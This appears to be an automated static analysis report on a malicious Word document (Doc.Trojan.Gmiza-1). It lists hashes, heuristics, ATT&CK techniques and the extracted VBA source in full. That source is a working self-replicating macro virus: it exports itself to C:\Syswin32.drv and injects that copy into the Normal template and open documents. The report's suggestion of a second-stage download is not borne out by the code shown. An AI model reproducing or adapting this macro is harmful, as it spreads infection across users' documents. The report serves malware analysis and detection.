Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97bf2bab4a22261a…

MALICIOUS

Office (OLE)

29.5 KB Created: 2001-04-27 18:57:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: ac7b5ab7ba7f3e1c3a8ae786c34cdc59 SHA-1: f05d0d0a98bdb39217e740150a5f2c2c3a97eb75 SHA-256: 97bf2bab4a22261a0f9ca2fb505a7985daee6850c8c65bb95deca9bce3844c7d
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a critical heuristic firing. The script attempts to export a file named 'C:\Syswin32.drv' and then add its content to the Normal template and the active document's VBA project. This behavior strongly suggests an attempt to establish persistence or download and execute a second-stage payload. The ClamAV detection as 'Doc.Trojan.Gmiza-1' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Gmiza-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gmiza-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1995 bytes
SHA-256: fd9ec48a8ee256171b15d7e6188751eae5dc24f502e1454c0e8e8717132c5d2d
Detection
ClamAV: Doc.Trojan.Gmiza-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New(): Document_Open: End Sub
Private Sub Document_Close(): Document_Open: End Sub
Private Sub Document_Open(): Dim a, b, c: x = x + 1
ThisDocument.VBProject.vbcomponents(x).Export ("C:\Syswin32.drv")
If NormalTemplate.VBProject.vbcomponents(x).codemodule.CountOfLines = 0 Then
    With NormalTemplate.VBProject.vbcomponents(x).codemodule
    .AddFromFile "c:\syswin32.drv"
    .DeleteLines x, x + 3
    End With
End If
If ActiveDocument.VBProject.vbcomponents(x).codemodule.CountOfLines = 0 Then
   With ActiveDocument.VBProject.vbcomponents(x).codemodule
   .AddFromFile "c:\syswin32.drv"
   .DeleteLines x, x + 3
   End With
End If
If NormalTemplate.VBProject.vbcomponents(x).codemodule.CountOfLines < 46 Then
    With NormalTemplate.VBProject.vbcomponents(x).codemodule
    .DeleteLines x, .CountOfLines
    .AddFromFile "c:\syswin32.drv"
    .DeleteLines x, x + 3
    End With
End If
If ActiveDocument.VBProject.vbcomponents(x).codemodule.CountOfLines < 46 Then
   With ActiveDocument.VBProject.vbcomponents(x).codemodule
   .DeleteLines x, .CountOfLines
   .AddFromFile "c:\syswin32.drv"
   .DeleteLines x, x + 3
   End With
End If
With Application
.Assistant.TipOfDay = True
.Assistant.Animation = msoAnimationBeginSpeaking
.Assistant.AssistWithAlerts = False
.Assistant.Sounds = True
.Selection.TypeText "Covjek je gospodar svoje rijeci, ali kad ta rijec izadje iz njega on postaje njen rob!"
End With
With ActiveDocument
.Words(x).Underline = wdUnderlineDottedHeavy
    For u = x To 7
    .Shapes.AddLine 7, 7, 7, 7
    Next u
End With
'WM.Gmizavac by e[ax] / Species VL
'Authorized distribution for Bosnia and Herzegovina
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.